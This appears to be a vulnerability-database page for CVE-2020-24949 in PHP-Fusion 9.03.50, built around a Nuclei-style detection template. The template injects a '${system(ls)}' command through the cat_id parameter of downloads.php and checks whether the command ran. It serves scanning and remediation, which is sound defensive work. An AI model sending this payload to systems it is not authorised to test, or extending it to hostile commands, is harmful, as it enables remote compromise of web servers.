CVE-2020-24949: PHP-Fusion 9.03.50 - Remote Code Execution

2025-08-01 PHP-Fusion PoC Public

Description

PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.

PoC

id: CVE-2020-24949

info:
  name: PHP-Fusion 9.03.50 - Remote Code Execution
  author: geeknik
  severity: high
  description: PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.
  reference:
    - https://packetstormsecurity.com/files/162852/phpfusion90350-exec.txt
    - https://github.com/php-fusion/PHP-Fusion/issues/2312
    - http://packetstormsecurity.com/files/162852/PHPFusion-9.03.50-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24949
    - https://github.com/404notf0und/CVE-Flow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-24949
    cwe-id: CWE-77
    epss-score: 0.67516
    epss-percentile: 0.99273
    cpe: cpe:2.3:a:php-fusion:php-fusion:9.03.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-fusion
    product: php-fusion
  tags: cve,cve2020,rce,php,packetstorm,phpfusion,php-fusion,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "infusion_db.php"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b182ca686946b85bc9db1617ab85b8e2386925ba67eb027e39b9a5a1ff7ed5dc022100e0ac5d6b55e34163cbb3d2712ec454c4d5f2ac6776f9e599dd6f80ad4a677b8c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities